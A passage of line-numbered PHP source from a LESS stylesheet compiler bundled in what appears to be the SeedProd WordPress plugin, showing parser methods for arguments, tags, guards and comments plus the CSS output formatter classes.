   2889 			if ( ! $this->literal( $delim ) ) {
   2890 				break;
   2891 			} else {
   2892 				if ( $value == null ) {
   2893 					$values[] = null;
   2894 				}
   2895 				$value = null;
   2896 			}
   2897 		}
   2898 
   2899 		if ( ! $this->literal( ')' ) ) {
   2900 			$this->seek( $s );
   2901 			return false;
   2902 		}
   2903 
   2904 		$args = $values;
   2905 		return true;
   2906 	}
   2907 
   2908 	// consume an argument definition list surrounded by ()
   2909 	// each argument is a variable name with optional value
   2910 	// or at the end a ... or a variable named followed by ...
   2911 	protected function argumentDef( &$args, &$isVararg, $delim = ',' ) {
   2912 		$s = $this->seek();
   2913 		if ( ! $this->literal( '(' ) ) {
   2914 			return false;
   2915 		}
   2916 
   2917 		$values = array();
   2918 
   2919 		$isVararg = false;
   2920 		while ( true ) {
   2921 			if ( $this->literal( '...' ) ) {
   2922 				$isVararg = true;
   2923 				break;
   2924 			}
   2925 
   2926 			if ( $this->variable( $vname ) ) {
   2927 				$arg = array( 'arg', $vname );
   2928 				$ss  = $this->seek();
   2929 				if ( $this->assign() && $this->expressionList( $value ) ) {
   2930 					$arg[] = $value;
   2931 				} else {
   2932 					$this->seek( $ss );
   2933 					if ( $this->literal( '...' ) ) {
   2934 						$arg[0]   = 'rest';
   2935 						$isVararg = true;
   2936 					}
   2937 				}
   2938 				$values[] = $arg;
   2939 				if ( $isVararg ) {
   2940 					break;
   2941 				}
   2942 				continue;
   2943 			}
   2944 
   2945 			if ( $this->value( $literal ) ) {
   2946 				$values[] = array( 'lit', $literal );
   2947 			}
   2948 
   2949 			if ( ! $this->literal( $delim ) ) {
   2950 				break;
   2951 			}
   2952 		}
   2953 
   2954 		if ( ! $this->literal( ')' ) ) {
   2955 			$this->seek( $s );
   2956 			return false;
   2957 		}
   2958 
   2959 		$args = $values;
   2960 
   2961 		return true;
   2962 	}
   2963 
   2964 	// consume a list of tags
   2965 	// this accepts a hanging delimiter
   2966 	protected function tags( &$tags, $simple = false, $delim = ',' ) {
   2967 		$tags = array();
   2968 		while ( $this->tag( $tt, $simple ) ) {
   2969 			$tags[] = $tt;
   2970 			if ( ! $this->literal( $delim ) ) {
   2971 				break;
   2972 			}
   2973 		}
   2974 		if ( count( $tags ) == 0 ) {
   2975 			return false;
   2976 		}
   2977 
   2978 		return true;
   2979 	}
   2980 
   2981 	// list of tags of specifying mixin path
   2982 	// optionally separated by > (lazy, accepts extra >)
   2983 	protected function mixinTags( &$tags ) {
   2984 		$s    = $this->seek();
   2985 		$tags = array();
   2986 		while ( $this->tag( $tt, true ) ) {
   2987 			$tags[] = $tt;
   2988 			$this->literal( '>' );
   2989 		}
   2990 
   2991 		if ( count( $tags ) == 0 ) {
   2992 			return false;
   2993 		}
   2994 
   2995 		return true;
   2996 	}
   2997 
   2998 	// a bracketed value (contained within in a tag definition)
   2999 	protected function tagBracket( &$value ) {
   3000 		// speed shortcut
   3001 		if ( isset( $this->buffer[ $this->count ] ) && $this->buffer[ $this->count ] != '[' ) {
   3002 			return false;
   3003 		}
   3004 
   3005 		$s = $this->seek();
   3006 		if ( $this->literal( '[' ) && $this->to( ']', $c, true ) && $this->literal( ']', false ) ) {
   3007 			$value = '[' . $c . ']';
   3008 			// whitespace?
   3009 			if ( $this->whitespace() ) {
   3010 				$value .= ' ';
   3011 			}
   3012 
   3013 			// escape parent selector, (yuck)
   3014 			$value = str_replace( $this->seedprod_lessc->parentSelector, '$&$', $value );
   3015 			return true;
   3016 		}
   3017 
   3018 		$this->seek( $s );
   3019 		return false;
   3020 	}
   3021 
   3022 	protected function tagExpression( &$value ) {
   3023 		$s = $this->seek();
   3024 		if ( $this->literal( '(' ) && $this->expression( $exp ) && $this->literal( ')' ) ) {
   3025 			$value = array( 'exp', $exp );
   3026 			return true;
   3027 		}
   3028 
   3029 		$this->seek( $s );
   3030 		return false;
   3031 	}
   3032 
   3033 	// a single tag
   3034 	protected function tag( &$tag, $simple = false ) {
   3035 		if ( $simple ) {
   3036 			$chars = '^,:;{}\][>\(\) "\'';
   3037 		} else {
   3038 			$chars = '^,;{}["\'';
   3039 		}
   3040 
   3041 		if ( ! $simple && $this->tagExpression( $tag ) ) {
   3042 			return true;
   3043 		}
   3044 
   3045 		$tag = '';
   3046 		while ( $this->tagBracket( $first ) ) {
   3047 			$tag .= $first;
   3048 		}
   3049 
   3050 		while ( true ) {
   3051 			if ( $this->match( '([' . $chars . '0-9][' . $chars . ']*)', $m ) ) {
   3052 				$tag .= $m[1];
   3053 				if ( $simple ) {
   3054 					break;
   3055 				}
   3056 
   3057 				while ( $this->tagBracket( $brack ) ) {
   3058 					$tag .= $brack;
   3059 				}
   3060 				continue;
   3061 			} elseif ( $this->unit( $unit ) ) { // for keyframes
   3062 				$tag .= $unit[1] . $unit[2];
   3063 				continue;
   3064 			}
   3065 			break;
   3066 		}
   3067 
   3068 		$tag = trim( $tag );
   3069 		if ( $tag == '' ) {
   3070 			return false;
   3071 		}
   3072 
   3073 		return true;
   3074 	}
   3075 
   3076 	// a css function
   3077 	protected function func( &$func ) {
   3078 		$s = $this->seek();
   3079 
   3080 		if ( $this->match( '(%|[\w\-_][\w\-_:\.]+|[\w_])', $m ) && $this->literal( '(' ) ) {
   3081 			$fname = $m[1];
   3082 
   3083 			$sPreArgs = $this->seek();
   3084 
   3085 			$args = array();
   3086 			while ( true ) {
   3087 				$ss = $this->seek();
   3088 				// this ugly nonsense is for ie filter properties
   3089 				if ( $this->keyword( $name ) && $this->literal( '=' ) && $this->expressionList( $value ) ) {
   3090 					$args[] = array( 'string', '', array( $name, '=', $value ) );
   3091 				} else {
   3092 					$this->seek( $ss );
   3093 					if ( $this->expressionList( $value ) ) {
   3094 						$args[] = $value;
   3095 					}
   3096 				}
   3097 
   3098 				if ( ! $this->literal( ',' ) ) {
   3099 					break;
   3100 				}
   3101 			}
   3102 			$args = array( 'list', ',', $args );
   3103 
   3104 			if ( $this->literal( ')' ) ) {
   3105 				$func = array( 'function', $fname, $args );
   3106 				return true;
   3107 			} elseif ( $fname == 'url' ) {
   3108 				// couldn't parse and in url? treat as string
   3109 				$this->seek( $sPreArgs );
   3110 				if ( $this->openString( ')', $string ) && $this->literal( ')' ) ) {
   3111 					$func = array( 'function', $fname, $string );
   3112 					return true;
   3113 				}
   3114 			}
   3115 		}
   3116 
   3117 		$this->seek( $s );
   3118 		return false;
   3119 	}
   3120 
   3121 	// consume a less variable
   3122 	protected function variable( &$name ) {
   3123 		$s = $this->seek();
   3124 		if ( $this->literal( $this->seedprod_lessc->vPrefix, false ) &&
   3125 			( $this->variable( $sub ) || $this->keyword( $name ) ) ) {
   3126 			if ( ! empty( $sub ) ) {
   3127 				$name = array( 'variable', $sub );
   3128 			} else {
   3129 				$name = $this->seedprod_lessc->vPrefix . $name;
   3130 			}
   3131 			return true;
   3132 		}
   3133 
   3134 		$name = null;
   3135 		$this->seek( $s );
   3136 		return false;
   3137 	}
   3138 
   3139 	/**
   3140 	 * Consume an assignment operator
   3141 	 * Can optionally take a name that will be set to the current property name
   3142 	 */
   3143 	protected function assign( $name = null ) {
   3144 		if ( $name ) {
   3145 			$this->currentProperty = $name;
   3146 		}
   3147 		return $this->literal( ':' ) || $this->literal( '=' );
   3148 	}
   3149 
   3150 	// consume a keyword
   3151 	protected function keyword( &$word ) {
   3152 		if ( $this->match( '([\w_\-\*!"][\w\-_"]*)', $m ) ) {
   3153 			$word = $m[1];
   3154 			return true;
   3155 		}
   3156 		return false;
   3157 	}
   3158 
   3159 	// consume an end of statement delimiter
   3160 	protected function end() {
   3161 		if ( $this->literal( ';' ) ) {
   3162 			return true;
   3163 		} elseif ( $this->count == strlen( $this->buffer ) || $this->buffer[ $this->count ] == '}' ) {
   3164 			// if there is end of file or a closing block next then we don't need a ;
   3165 			return true;
   3166 		}
   3167 		return false;
   3168 	}
   3169 
   3170 	protected function guards( &$guards ) {
   3171 		$s = $this->seek();
   3172 
   3173 		if ( ! $this->literal( 'when' ) ) {
   3174 			$this->seek( $s );
   3175 			return false;
   3176 		}
   3177 
   3178 		$guards = array();
   3179 
   3180 		while ( $this->guardGroup( $g ) ) {
   3181 			$guards[] = $g;
   3182 			if ( ! $this->literal( ',' ) ) {
   3183 				break;
   3184 			}
   3185 		}
   3186 
   3187 		if ( count( $guards ) == 0 ) {
   3188 			$guards = null;
   3189 			$this->seek( $s );
   3190 			return false;
   3191 		}
   3192 
   3193 		return true;
   3194 	}
   3195 
   3196 	// a bunch of guards that are and'd together
   3197 	// TODO rename to guardGroup
   3198 	protected function guardGroup( &$guardGroup ) {
   3199 		$s          = $this->seek();
   3200 		$guardGroup = array();
   3201 		while ( $this->guard( $guard ) ) {
   3202 			$guardGroup[] = $guard;
   3203 			if ( ! $this->literal( 'and' ) ) {
   3204 				break;
   3205 			}
   3206 		}
   3207 
   3208 		if ( count( $guardGroup ) == 0 ) {
   3209 			$guardGroup = null;
   3210 			$this->seek( $s );
   3211 			return false;
   3212 		}
   3213 
   3214 		return true;
   3215 	}
   3216 
   3217 	protected function guard( &$guard ) {
   3218 		$s      = $this->seek();
   3219 		$negate = $this->literal( 'not' );
   3220 
   3221 		if ( $this->literal( '(' ) && $this->expression( $exp ) && $this->literal( ')' ) ) {
   3222 			$guard = $exp;
   3223 			if ( $negate ) {
   3224 				$guard = array( 'negate', $guard );
   3225 			}
   3226 			return true;
   3227 		}
   3228 
   3229 		$this->seek( $s );
   3230 		return false;
   3231 	}
   3232 
   3233 	/* raw parsing functions */
   3234 
   3235 	protected function literal( $what, $eatWhitespace = null ) {
   3236 		if ( $eatWhitespace === null ) {
   3237 			$eatWhitespace = $this->eatWhiteDefault;
   3238 		}
   3239 
   3240 		// shortcut on single letter
   3241 		if ( ! isset( $what[1] ) && isset( $this->buffer[ $this->count ] ) ) {
   3242 			if ( $this->buffer[ $this->count ] == $what ) {
   3243 				if ( ! $eatWhitespace ) {
   3244 					$this->count++;
   3245 					return true;
   3246 				}
   3247 				// goes below...
   3248 			} else {
   3249 				return false;
   3250 			}
   3251 		}
   3252 
   3253 		if ( ! isset( self::$literalCache[ $what ] ) ) {
   3254 			self::$literalCache[ $what ] = seedprod_lessc::preg_quote( $what );
   3255 		}
   3256 
   3257 		return $this->match( self::$literalCache[ $what ], $m, $eatWhitespace );
   3258 	}
   3259 
   3260 	protected function genericList( &$out, $parseItem, $delim = '', $flatten = true ) {
   3261 		$s     = $this->seek();
   3262 		$items = array();
   3263 		while ( $this->$parseItem( $value ) ) {
   3264 			$items[] = $value;
   3265 			if ( $delim ) {
   3266 				if ( ! $this->literal( $delim ) ) {
   3267 					break;
   3268 				}
   3269 			}
   3270 		}
   3271 
   3272 		if ( count( $items ) == 0 ) {
   3273 			$this->seek( $s );
   3274 			return false;
   3275 		}
   3276 
   3277 		if ( $flatten && count( $items ) == 1 ) {
   3278 			$out = $items[0];
   3279 		} else {
   3280 			$out = array( 'list', $delim, $items );
   3281 		}
   3282 
   3283 		return true;
   3284 	}
   3285 
   3286 
   3287 	// advance counter to next occurrence of $what
   3288 	// $until - don't include $what in advance
   3289 	// $allowNewline, if string, will be used as valid char set
   3290 	protected function to( $what, &$out, $until = false, $allowNewline = false ) {
   3291 		if ( is_string( $allowNewline ) ) {
   3292 			$validChars = $allowNewline;
   3293 		} else {
   3294 			$validChars = $allowNewline ? '.' : "[^\n]";
   3295 		}
   3296 		if ( ! $this->match( '(' . $validChars . '*?)' . seedprod_lessc::preg_quote( $what ), $m, ! $until ) ) {
   3297 			return false;
   3298 		}
   3299 		if ( $until ) {
   3300 			$this->count -= strlen( $what ); // give back $what
   3301 		}
   3302 		$out = $m[1];
   3303 		return true;
   3304 	}
   3305 
   3306 	// try to match something on head of buffer
   3307 	protected function match( $regex, &$out, $eatWhitespace = null ) {
   3308 		if ( $eatWhitespace === null ) {
   3309 			$eatWhitespace = $this->eatWhiteDefault;
   3310 		}
   3311 
   3312 		$r = '/' . $regex . ( $eatWhitespace && ! $this->writeComments ? '\s*' : '' ) . '/Ais';
   3313 		if ( preg_match( $r, $this->buffer, $out, null, $this->count ) ) {
   3314 			$this->count += strlen( $out[0] );
   3315 			if ( $eatWhitespace && $this->writeComments ) {
   3316 				$this->whitespace();
   3317 			}
   3318 			return true;
   3319 		}
   3320 		return false;
   3321 	}
   3322 
   3323 	// match some whitespace
   3324 	protected function whitespace() {
   3325 		if ( $this->writeComments ) {
   3326 			$gotWhite = false;
   3327 			while ( preg_match( self::$whitePattern, $this->buffer, $m, null, $this->count ) ) {
   3328 				if ( isset( $m[1] ) && empty( $this->commentsSeen[ $this->count ] ) ) {
   3329 					$this->append( array( 'comment', $m[1] ) );
   3330 					$this->commentsSeen[ $this->count ] = true;
   3331 				}
   3332 				$this->count += strlen( $m[0] );
   3333 				$gotWhite     = true;
   3334 			}
   3335 			return $gotWhite;
   3336 		} else {
   3337 			$this->match( '', $m );
   3338 			return strlen( $m[0] ) > 0;
   3339 		}
   3340 	}
   3341 
   3342 	// match something without consuming it
   3343 	protected function peek( $regex, &$out = null, $from = null ) {
   3344 		if ( is_null( $from ) ) {
   3345 			$from = $this->count;
   3346 		}
   3347 		$r      = '/' . $regex . '/Ais';
   3348 		$result = preg_match( $r, $this->buffer, $out, null, $from );
   3349 
   3350 		return $result;
   3351 	}
   3352 
   3353 	// seek to a spot in the buffer or return where we are on no argument
   3354 	protected function seek( $where = null ) {
   3355 		if ( $where === null ) {
   3356 			return $this->count;
   3357 		} else {
   3358 			$this->count = $where;
   3359 		}
   3360 		return true;
   3361 	}
   3362 
   3363 	/* misc functions */
   3364 
   3365 	public function throwError( $msg = 'parse error', $count = null ) {
   3366 		$count = is_null( $count ) ? $this->count : $count;
   3367 
   3368 		$line = $this->line +
   3369 			substr_count( substr( $this->buffer, 0, $count ), "\n" );
   3370 
   3371 		if ( ! empty( $this->sourceName ) ) {
   3372 			$loc = "$this->sourceName on line $line";
   3373 		} else {
   3374 			$loc = "line: $line";
   3375 		}
   3376 
   3377 		// TODO this depends on $this->count
   3378 		if ( $this->peek( "(.*?)(\n|$)", $m, $count ) ) {
   3379 			throw new exception( "$msg: failed at `$m[1]` $loc" );
   3380 		} else {
   3381 			throw new exception( "$msg: $loc" );
   3382 		}
   3383 	}
   3384 
   3385 	protected function pushBlock( $selectors = null, $type = null ) {
   3386 		$b         = new stdclass();
   3387 		$b->parent = $this->env;
   3388 
   3389 		$b->type = $type;
   3390 		$b->id   = self::$nextBlockId++;
   3391 
   3392 		$b->isVararg = false; // TODO: kill me from here
   3393 		$b->tags     = $selectors;
   3394 
   3395 		$b->props    = array();
   3396 		$b->children = array();
   3397 
   3398 		$this->env = $b;
   3399 		return $b;
   3400 	}
   3401 
   3402 	// push a block that doesn't multiply tags
   3403 	protected function pushSpecialBlock( $type ) {
   3404 		return $this->pushBlock( null, $type );
   3405 	}
   3406 
   3407 	// append a property to the current block
   3408 	protected function append( $prop, $pos = null ) {
   3409 		if ( $pos !== null ) {
   3410 			$prop[-1] = $pos;
   3411 		}
   3412 		$this->env->props[] = $prop;
   3413 	}
   3414 
   3415 	// pop something off the stack
   3416 	protected function pop() {
   3417 		$old       = $this->env;
   3418 		$this->env = $this->env->parent;
   3419 		return $old;
   3420 	}
   3421 
   3422 	// remove comments from $text
   3423 	// todo: make it work for all functions, not just url
   3424 	protected function removeComments( $text ) {
   3425 		$look = array(
   3426 			'url(',
   3427 			'//',
   3428 			'/*',
   3429 			'"',
   3430 			"'",
   3431 		);
   3432 
   3433 		$out = '';
   3434 		$min = null;
   3435 		while ( true ) {
   3436 			// find the next item
   3437 			foreach ( $look as $token ) {
   3438 				$pos = strpos( $text, $token );
   3439 				if ( $pos !== false ) {
   3440 					if ( ! isset( $min ) || $pos < $min[1] ) {
   3441 						$min = array( $token, $pos );
   3442 					}
   3443 				}
   3444 			}
   3445 
   3446 			if ( is_null( $min ) ) {
   3447 				break;
   3448 			}
   3449 
   3450 			$count    = $min[1];
   3451 			$skip     = 0;
   3452 			$newlines = 0;
   3453 			switch ( $min[0] ) {
   3454 				case 'url(':
   3455 					if ( preg_match( '/url\(.*?\)/', $text, $m, 0, $count ) ) {
   3456 						$count += strlen( $m[0] ) - strlen( $min[0] );
   3457 					}
   3458 					break;
   3459 				case '"':
   3460 				case "'":
   3461 					if ( preg_match( '/' . $min[0] . '.*?' . $min[0] . '/', $text, $m, 0, $count ) ) {
   3462 						$count += strlen( $m[0] ) - 1;
   3463 					}
   3464 					break;
   3465 				case '//':
   3466 					$skip = strpos( $text, "\n", $count );
   3467 					if ( $skip === false ) {
   3468 						$skip = strlen( $text ) - $count;
   3469 					} else {
   3470 						$skip -= $count;
   3471 					}
   3472 					break;
   3473 				case '/*':
   3474 					if ( preg_match( '/\/\*.*?\*\//s', $text, $m, 0, $count ) ) {
   3475 						$skip     = strlen( $m[0] );
   3476 						$newlines = substr_count( $m[0], "\n" );
   3477 					}
   3478 					break;
   3479 			}
   3480 
   3481 			if ( $skip == 0 ) {
   3482 				$count += strlen( $min[0] );
   3483 			}
   3484 
   3485 			$out .= substr( $text, 0, $count ) . str_repeat( "\n", $newlines );
   3486 			$text = substr( $text, $count + $skip );
   3487 
   3488 			$min = null;
   3489 		}
   3490 
   3491 		return $out . $text;
   3492 	}
   3493 
   3494 }
   3495 
   3496 class seedprod_lessc_formatter_classic {
   3497 	public $indentChar = '  ';
   3498 
   3499 	public $break             = "\n";
   3500 	public $open              = ' {';
   3501 	public $close             = '}';
   3502 	public $selectorSeparator = ', ';
   3503 	public $assignSeparator   = ':';
   3504 
   3505 	public $openSingle  = ' { ';
   3506 	public $closeSingle = ' }';
   3507 
   3508 	public $disableSingle  = false;
   3509 	public $breakSelectors = false;
   3510 
   3511 	public $compressColors = false;
   3512 
   3513 	public function __construct() {
   3514 		$this->indentLevel = 0;
   3515 	}
   3516 
   3517 	public function indentStr( $n = 0 ) {
   3518 		return str_repeat( $this->indentChar, max( $this->indentLevel + $n, 0 ) );
   3519 	}
   3520 
   3521 	public function property( $name, $value ) {
   3522 		return $name . $this->assignSeparator . $value . ';';
   3523 	}
   3524 
   3525 	protected function isEmpty( $block ) {
   3526 		if ( empty( $block->lines ) ) {
   3527 			foreach ( $block->children as $child ) {
   3528 				if ( ! $this->isEmpty( $child ) ) {
   3529 					return false;
   3530 				}
   3531 			}
   3532 
   3533 			return true;
   3534 		}
   3535 		return false;
   3536 	}
   3537 
   3538 	public function block( $block ) {
   3539 		if ( $this->isEmpty( $block ) ) {
   3540 			return;
   3541 		}
   3542 
   3543 		$inner = $pre = $this->indentStr();
   3544 
   3545 		$isSingle = ! $this->disableSingle &&
   3546 			is_null( $block->type ) && count( $block->lines ) == 1;
   3547 
   3548 		if ( ! empty( $block->selectors ) ) {
   3549 			$this->indentLevel++;
   3550 
   3551 			if ( $this->breakSelectors ) {
   3552 				$selectorSeparator = $this->selectorSeparator . $this->break . $pre;
   3553 			} else {
   3554 				$selectorSeparator = $this->selectorSeparator;
   3555 			}
   3556 
   3557 			echo $pre .
   3558 				implode( $selectorSeparator, $block->selectors );
   3559 			if ( $isSingle ) {
   3560 				echo $this->openSingle;
   3561 				$inner = '';
   3562 			} else {
   3563 				echo $this->open . $this->break;
   3564 				$inner = $this->indentStr();
   3565 			}
   3566 		}
   3567 
   3568 		if ( ! empty( $block->lines ) ) {
   3569 			$glue = $this->break . $inner;
   3570 			echo $inner . implode( $glue, $block->lines );
   3571 			if ( ! $isSingle && ! empty( $block->children ) ) {
   3572 				echo $this->break;
   3573 			}
   3574 		}
   3575 
   3576 		foreach ( $block->children as $child ) {
   3577 			$this->block( $child );
   3578 		}
   3579 
   3580 		if ( ! empty( $block->selectors ) ) {
   3581 			if ( ! $isSingle && empty( $block->children ) ) {
   3582 				echo $this->break;
   3583 			}
   3584 
   3585 			if ( $isSingle ) {
   3586 				echo $this->closeSingle . $this->break;
   3587 			} else {
   3588 				echo $pre . $this->close . $this->break;
   3589 			}
   3590 
   3591 			$this->indentLevel--;
   3592 		}
   3593 	}
   3594 }
   3595 
   3596 class seedprod_lessc_formatter_compressed extends seedprod_lessc_formatter_classic {
   3597 	public $disableSingle     = true;
   3598 	public $open              = '{';
   3599 	public $selectorSeparator = ',';
   3600 	public $assignSeparator   = ':';
   3601 	public $break             = '';
   3602 	public $compressColors    = true;
   3603 
   3604 	public function indentStr( $n = 0 ) {
   3605 		return '';
   3606 	}
   3607 }
   3608 
   3609 class seedprod_lessc_formatter_lessjs extends seedprod_lessc_formatter_classic {
   3610 	public $disableSingle     = true;
   3611 	public $breakSelectors    = true;
   3612 	public $assignSeparator   = ': ';
   3613 	public $selectorSeparator = ',';
   3614 }
   3615 
   3616